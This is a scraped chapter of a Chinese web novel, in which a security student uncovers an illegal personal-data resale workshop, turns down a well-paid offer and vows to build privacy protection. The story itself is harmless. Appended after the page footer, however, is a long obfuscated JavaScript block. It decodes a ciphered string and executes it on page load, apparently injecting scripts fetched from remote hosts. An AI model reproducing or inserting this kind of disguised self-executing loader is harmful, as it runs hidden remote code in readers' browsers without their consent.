首页
前传第3章第一次看见,数据吃
返回
关灯 护眼:关 字号:小

前传第3章第一次看见,数据吃人

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第3章第一次看见,数据吃人(第1/2页)
    深秋的风卷着梧桐叶,掠过江城理工大学的林荫道。午后的阳光穿过枝叶缝隙,在水泥地面投下斑驳晃动的光影,耳边是往来学子的说笑声、单车铃铛的脆响,整座校园都浸在慵懒又鲜活的氛围里。
    三号理工实验楼却像是另一个世界。
    楼层深处的公共机房灯火长明,密闭空间里混杂着主机运转的低鸣、键盘敲击的清脆声响,空气微微发闷,带着电子元件特有的淡味。机房不算宽敞,数十台老式台式电脑依次排开,大多是往届学长留下的旧设备,外壳泛黄,边角磨损,却是计算机与信息安全专业学生平日里最常待的地方。
    龙胆草坐在靠窗的位置,脊背挺得笔直。
    今年二十二岁的他,已是大四在读。出身小城寒门,父母守着几分薄田度日,一家人省吃俭用,才供出他这一个重点大学的理工生。自入学那天起,他就比旁人更清楚,读书是他走出原生环境唯一的路。他也确实争气,专业课成绩常年稳居专业榜首,算法、编程、网络攻防样样拔尖,是系里老师眼中最有潜力的学生。
    旁人课余时间结伴出游、聚餐玩乐、谈情说爱,他的生活轨迹却简单到单调。教室、图书馆、机房,三点一线,日日如此。多数时候,他都泡在这片满是代码与数据流的方寸天地里,指尖在键盘上起落翻飞,屏幕上密密麻麻的字符滚动不息,仿佛这冰冷的机器语言,才是他最安稳的归宿。
    他性格本就偏沉静内敛,不善言辞,也鲜少参与圈子应酬。久而久之,在热闹的校园里,反倒显得有些格格不入。
    此刻,屏幕上正在运行一段自主编写的基础防护程序。指尖匀速敲击键盘,一行行指令有序排布,他目光专注,眉宇平和,心思全然沉浸在代码构建的逻辑世界中。对他而言,编织程序、搭建防御架构,是一件纯粹又踏实的事。一行行代码有迹可循,对错分明,不像人心那般复杂难测。
    “龙大神,还在熬程序呢?”
    隔壁机位的男生伸了个懒腰,揉着发酸的手腕侧过头,语气带着几分熟稔的调侃。同专业的同学大多习惯喊他“龙大神”,既是认可他的技术,也带着几分距离感。“都快放学了,今晚社团有联谊,一起去凑个热闹?总闷在机房里,人都要闷坏了。”
    龙胆草手上动作未停,只是微微摇头,声音清淡:“不了,还有一段逻辑没梳理完。”
    “又是这样。”男生无奈地笑了笑,也不再多劝,“行吧,知道劝不动你。对了,跟你说个事,最近校外有不少兼职,都是和数据整理、信息录入相关的,报酬开得不低,咱们专业的学生过去,上手快,赚点生活费不成问题。你家境不算宽裕,不妨去试试?”
    这话戳中了现实。
    每月家里打来的生活费勉强糊口,想买专业参考书、升级简易设备,都得一分一分省。兼职赚钱,确实是不少寒门学子的选择。
    龙胆草动作顿了一瞬,眼底掠过一丝犹豫。他确实需要额外收入,可对于校外五花八门的数据类兼职,他向来心存戒备。“是什么类型的数据整理?正规吗?”
    “嗨,就是一些企业闲置信息汇总,没啥难度,就是费点眼睛。”男生摆了摆手,不以为意,“中介是往届的学长介绍的,说是对接好几家商贸公司,靠谱得很。好多同学都去了,一天下来,顶得上普通兼职两三天的工钱。”
    机房里陆续有人收拾东西准备离开,三三两两议论着这份高薪兼职,语气里满是心动。在物价渐涨的校园里,一份轻松又高薪的临时工作,诱惑力不言而喻。
    龙胆草沉默片刻,终究还是没有松口。“我再想想。”
    对方见状,知道他性子谨慎,便不再多说,背起书包跟着人群一同离开。
    机房里的人渐渐走空,喧闹褪去,只剩下主机嗡鸣与他敲击键盘的声响相互交织。阳光慢慢西斜,透过窗户落在他单薄的肩头,拉出一道长长的影子。
    他停下手上的动作,抬手揉了揉发胀的太阳穴,目光望向窗外。
    江城是一线城市,互联网与信息技术产业蓬勃发展,遍地机遇,也藏着外人看不见的灰色地带。身处信息安全专业,课堂之上,老师不止一次讲过行业乱象,讲过数据泄露、信息倒卖带来的危害。只是那些案例大多停留在课本与课件里,隔着一层纸面,总让人觉得遥远。
    他一直恪守底线,只接触正规项目,编写合规程序,从不去触碰任何来路不明的数据业务。可现实的窘迫摆在眼前,他不得不承认,自己确实动心了。
    纠结再三,他打算亲自去看一看。若是流程正规、用途清晰,赚一份生活费也无可厚非;一旦察觉到异样,转身离开便是。
    打定主意,他保存好代码文件,关闭电脑,收拾好简单的帆布包,起身走出实验楼。
    按照同学给出的地址,他穿过两条校园外的商业街,拐进一条僻静的老式街巷。街巷两侧是老旧居民楼,底层被改造成大小不一的工作室与临时办公点,门头简陋,招牌斑驳,和光鲜亮丽的商圈截然不同。
    走到街巷中段,一间挂着“信息服务工作室”牌子的小平房出现在眼前。房门敞开着,里面摆着十几台二手电脑,不少和他年纪相仿的年轻人正坐在机位前忙碌,手指飞快地翻阅文档、录入信息,空气里弥漫着一股浮躁又压抑的气息。
    门口站着一个三十岁上下的男人,穿着花衬衫,头发打理得油亮,一看就是负责对接的中介。见到龙胆草走来,对方立刻堆起热情的笑容迎上来:“同学,是理工大过来做兼职的吧?里面请,位置还有。”
    “我先了解一下具体工作内容。”龙胆草没有贸然进门,站在门口,语气平静地询问,“整理的是什么数据,最终交付给什么公司,用途是什么?”
    中介脸上的笑容淡了几分,上下打量他两眼,显然没料到这个学生会追问得如此细致。“就是普通的客户登记信息、消费记录,商贸公司用来做市场分析的,正规业务,放心。”
    “可以看看原始数据样本吗?”龙胆草寸步不让。多年的专业学习让他养成了严谨的习惯,越是含糊其辞,他心里的警惕就越重。
    中介眼神闪烁了一下,支吾片刻,最终还是侧身让出位置:“行,看吧,反正都是些无关紧要的东西。别耽误干活就行,按时按量完成,工钱一分不少。”
    龙胆草迈步走入屋内。
    房间里光线偏暗,数十份纸质档案堆积如山,电脑屏幕上密密麻麻罗列着一条条信息。他走到最近一台空置的电脑前,目光落在屏幕上,仅仅扫了几行,周身的气息便瞬间冷了下来。
    屏幕之上,哪里是什么笼统的市场分析数据。
    一条条信息详尽到令人心惊:姓名、身份证号、家庭住址、联系电话、工作单位、名下房产车辆、银行流水片段,甚至还有家庭成员信息、就医记录、网购清单、出行轨迹……
    每一条,都是完完整整的个人隐私。
    这些信息被分门别类整理归档,剔除了所有防护,赤裸裸地暴露在屏幕之上。旁边的纸质档案袋里,更是一沓又一沓打印出来的个人资料,按地域、按消费能力划分得清清楚楚。
    龙胆草的心脏猛地一沉,一股寒意顺着脊背往上窜。
    他学了四年信息安全,每日钻研加密、防护、溯源,拼尽全力想要筑起一道屏障,守护普通人的数据隐私。可此刻眼前的一幕幕,彻底击碎了他心里那层单薄的幻想。
    原来在他看不见的角落,无数普通人的隐私,就这样被肆意收集、整理、流转,如同货架上的商品一般,明码标价,待价而沽。
    “看明白了吧?就是整理分类,简单得很。”中介在一旁搓着手,笑道,“工作量不小,但单价高,多劳多得。咱们就是做个转手整理的活,不参与别的,放心干。”
    “这些个人信息,你们从哪里得来的?”龙胆草转过头,目光锐利地看向对方,“未经本人允许,收集、整理、流转公民隐私数据,这是违法行为。”
    中介脸上的笑容彻底僵住,随即脸色沉了下来,语气也变得不耐烦:“小伙子,年纪不大,管得倒挺宽。现在这年头,哪个行业不用客户信息?大家都是混口饭吃,别这么较真。你要是想做,就留下来干活;不想做,就趁早离开,别在这儿碍眼。”
    屋内埋头干活的年轻人也纷纷抬起头,看向门口争执的两人,眼神各异。有人面露麻木,有人躲闪目光,也有人觉得龙胆草太过小题大做。
    在这里做工的学生,大多家境普通,急需用钱。他们不是看不出这些数据有问题,只是刻意选择了视而不见。大家心照不宣,揣着明白装糊涂,只当是一份赚钱的活计,不愿深究背后的黑暗。
    “混口饭吃,也不能踩着别人的权益。”龙胆草语气依旧平稳,却带着不容动摇的坚定,“这些数据来源非法,后续流转更是隐患重重。一旦泄露滥用,会给无数普通人带来麻烦,甚至是灾难。”
    “灾难?”中介嗤笑一声,满脸不屑,“说得也太夸张了。不就是几个名字电话住址吗?能出什么灾难?这年头信息满天飞,谁还没被骚扰过?多大点事。”
    在他眼里,普通人的隐私廉价又无用,不过是用来牟利的工具,根本不值一提。
    就在两人僵持之际,里间的门帘忽然被掀开,一个穿着西装、气度精明的中年男人走了出来。他扫了一眼门口的状况,目光落在龙胆草身上,淡淡开口:“怎么回事?”
    “王总,这学生问东问西,还说咱们的活不合规。”中介连忙上前低声汇报。
    被称作王总的男人,便是这间工作室背后真正的老板,也是上游数据渠道的对接人。他上下打量着龙胆草,眼神带着商人特有的权衡与算计:“理工大信息安全专业的高材生?我听说过你,专业课成绩名列前茅,技术底子不错。”
    (本章未完,请点击下一页继续阅读)前传第3章第一次看见,数据吃人(第2/2页)
    龙胆草没有接话,静静看着对方。
    “年轻人有原则是好事,但别死脑筋。”王总缓步走到他面前,语气放缓,开始循循善诱,“现在整个行业都是如此,数据就是资源,资源就是财富。互联网、商贸、营销、催收,哪个环节离得开这些信息?法不责众,大家都在做,你一个人较真,改变不了任何事。”
    他顿了顿,抛出极具诱惑力的条件:“我知道你技术好,单纯做数据整理屈才了。不如留下来,负责数据脱敏和简易加密环节,薪资翻倍,还能接触到行业里的人脉资源。毕业之后,我直接给你留岗位,待遇远超普通企业。凭你的本事,在这里大有可为。”
    高薪、岗位、人脉、前途。
    对于一个出身寒门、即将毕业的大四学生而言,每一样都有着致命的吸引力。
    只要点头,就能立刻缓解经济窘迫,提前敲定毕业后的出路,少走数年弯路。屋内所有兼职的学生都露出了羡慕的神色,在他们看来,这是天上掉下来的大好机会。
    可龙胆草的心,却越发冰凉。
    这位王总口中的“数据脱敏、简易加密”,说白了,就是用一点表层伪装,规避初步核查,让非法数据流转得更加隐蔽、更加顺畅。看似是运用技术,实则是助纣为虐,用自己所学的专业知识,为灰色产业链保驾护航。
    他寒窗苦读四年,钻研网络安全、数据防护,初衷是守护,而非加害。
    “多谢好意。”龙胆草一字一句,清晰作答,“我的技术,是用来保护数据安全,保护普通人隐私的,不是用来为非法信息流转铺路的。这份工作,我不会做。”
    说完,他不再停留,转身便往外走。
    “不识抬举!”王总的脸色瞬间冷了下来,冷哼一声,“等你踏入社会就会明白,理想不能当饭吃。固守着那点虚无的原则,迟早会撞得头破血流。”
    嘲讽的话语落在身后,龙胆草脚步未顿,一步步走出这条阴暗的小巷。
    外面的阳光依旧明媚,可他走在人流之中,却只觉得周身发冷。
    他本以为课本上的案例、课堂上的警示,只是少数极端现象。直到亲身踏入这个灰色角落,他才真切体会到,什么叫做数据吃人。
    无数普通人,从不会想到,自己在网上留下的浏览记录、填写的个人资料、办理业务时登记的信息,会被悄无声息地收集、倒卖、流转。
    随之而来的,是无休止的营销骚扰、精准诈骗、信息冒用、财产受损,甚至人身安全受到威胁。
    有人因为身份信息泄露,被莫名背上贷款,半生积蓄化为乌有;有人因为家庭住址暴露,遭遇上门骚扰,整日惶恐不安;有老人被精准电信诈骗掏空养老钱,有学生被冒用信息影响征信……
    一条条看似冰冷的数据,背后是一个个活生生的人,一个个安稳的家庭。当隐私被肆意践踏,数据沦为牟利工具,最先被吞噬的,就是普通人平静的生活。
    这便是“数据吃人”最残酷的真相。
    他沿着街道慢慢往前走,耳边车水马龙,人声鼎沸,繁华都市一派欣欣向荣。可这片繁华之下,却盘踞着这样一条庞大的灰色链条,无声地啃噬着普通人的安全感。
    专业学的越深,看得越透彻,心里的无力感就越重。
    他只是一个即将毕业的普通学生,空有一身技术,却手无寸铁,面对盘根错节的行业乱象,连撼动分毫都做不到。
    回到校园,天色已经擦黑。林荫道上的路灯次第亮起,暖黄的光线驱散了暮色,却驱不散龙胆草心底的沉郁。
    他没有再回机房,独自走到校园后方的人工湖畔。湖面平静,倒映着岸边的灯火,晚风拂过,带着初秋的凉意。
    他靠着湖边的护栏站定,望着粼粼水光,脑海里不断回放着工作室里的画面,回放着那些被肆意陈列的个人隐私,回放着中介与王总理所当然的态度。
    整个行业似乎都陷入了一种扭曲的共识:数据可以买卖,隐私可以践踏,只要能赚钱,规则与底线都可以靠边站。
    那么他所学的信息安全,又该何去何从?
    四年来,他痴迷代码,钻研攻防,梦想着用技术筑起防线,守护网络世界的清朗。可现实狠狠给了他一击,让他看清了理想与现实之间巨大的鸿沟。
    “技术本身没有对错,对错的是使用技术的人。”
    专业课老师曾经说过的话,此刻重新在耳边响起。
    是啊,代码、算法、网络架构,都只是工具。工具可以用来守护,也可以用来作恶。如今太多人握着先进的技术,却一心追逐利益,将工具变成了伤人的利刃。
    难道真的要随波逐流,融入这片浑浊之中吗?
    他扪心自问,答案是否定的。
    寒门出身,一路见过太多普通人的艰难。他们不懂复杂的网络规则,不会甄别信息风险,在庞大的互联网体系面前,如同手无寸铁的孩童,只能被动承受信息泄露带来的所有恶果。
    他见过老家的邻居阿姨,因为信息泄露遭遇诈骗,哭着说养老钱没了;听过高中同学讲述,身份被冒用办理网贷,征信受损,求职屡屡碰壁。那些痛苦与无助,真实又鲜活。
    正是这些细碎的片段,让他选择了信息安全这个专业。他不想自己学成之后,反倒成为伤害普通人的一份子。
    可仅凭他一人,又能改变什么?
    毕业在即,各大头部互联网企业、网络安全公司的校招已经全面开启。以他的成绩和技术,拿到顶尖大厂的offer并非难事。那些平台体量庞大,手握海量用户数据,是灰色产业链的源头之一。入职其中,顺流而行,能获得优渥的薪资、光鲜的职位、旁人羡慕的前程。
    可若是身在其中,要么同流合污,要么独善其身。独善其身已是极限,想要扭转乱象,难如登天。
    一股迷茫,如同潮水般将他包裹。
    前路仿佛分成了两条截然不同的轨道。一条平坦宽阔,通往高薪与安稳,却要舍弃初心,对乱象视而不见;一条崎岖难行,坚守理想,却要直面现实的重压,未来一片未知。
    夜色渐浓,湖边的行人越来越少。龙胆草就这么静静站着,身影在灯火与夜色交织中,显得孤单又执拗。
    不知站了多久,手机铃声忽然响起,打破了周遭的寂静。是家里打来的电话。
    他深吸一口气,压下心底翻涌的情绪,接起电话,语气恢复了平日的温和:“爸。”
    “小草,最近学习还好吗?校招开始了,工作有着落没?”电话那头,父亲的声音朴实又关切,“家里一切都好,你不用惦记,在外照顾好自己,别太省钱,该吃就吃。我们不求你大富大贵,只求你平平安安,找一份安稳工作就行。”
    简简单单的叮嘱,饱含着最质朴的期盼。
    父母不懂什么数据安全,不懂行业乱象,他们只希望寒窗苦读多年的儿子,能有一份安稳体面的工作,摆脱面朝黄土的生活。
    “我知道了,爸,一切都顺利。”龙胆草轻声回应,尽量让语气听起来轻松,“校招还在准备,我会好好把握的。”
    挂断电话,他望着远处城市连片的灯火,眼底的迷茫渐渐褪去,取而代之的是一种愈发坚定的神色。
    安稳的工作,优渥的生活,所有人都在追逐。可如果脚下的路,需要踩着他人的隐私与安稳前行,这样的安稳,他不想要。
    既然如今的行业早已偏离正轨,既然无数普通人正在被“数据”所累、所伤,那便试着走一条不一样的路。
    大厂体量庞大,积弊太深,想要改变难如登天。那他便不从众,不依附巨头。
    哪怕白手起家,哪怕步履维艰,也要亲手打造一套真正纯粹的技术体系。一套不以牟利为第一目的,以数据防护、隐私保护为核心的系统。
    用代码筑起真正的屏障,挡住肆意蔓延的灰色链条,护住那些无力自保的普通人。
    这条路,一定会很难。没有资本加持,没有行业人脉,还要直面同行的排挤、市场的打压、灰色产业的敌视。或许会一路碰壁,或许会穷困潦倒,或许多年努力都看不到成果。
    可至少,心是安稳的。
    至少,他没有辜负数年所学,没有辜负当初选择这个专业的初心。
    “数据能吃人,亦能被人守护。”
    龙胆草低声呢喃,目光澄澈而坚定。
    晚风扬起他额前的碎发,少年立于湖畔,在这个看清行业黑暗、直面现实残酷的夜晚,一颗名为“坚守”的种子,彻底在心底生根发芽。
    此刻的他还不知道,这份在迷茫与阵痛中确立的初心,会在数年之后,牵引着一群志同道合的人相聚一堂,成立名为“龙胆”的科技公司,打造出那套惊艳整个行业的“五彩绫镜”加密系统。
    他也不会想到,今夜所见的信息倒卖乱象,那些唯利是图的从业者,会在未来演化成针锋相对的竞争对手,一路纠缠,博弈不休。
    命运的丝线,从这一刻起,悄然编织出层层伏笔。
    夜色深沉,湖畔的少年转身离开。
    脚步不再犹豫,目光望向远方的万家灯火。
    前路漫漫,道阻且长。
    但他已然找准了方向,决意以代码为刃,以初心为盾,在这片被数据裹挟的时代里,走出一条独属于自己的,科技向善之路。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();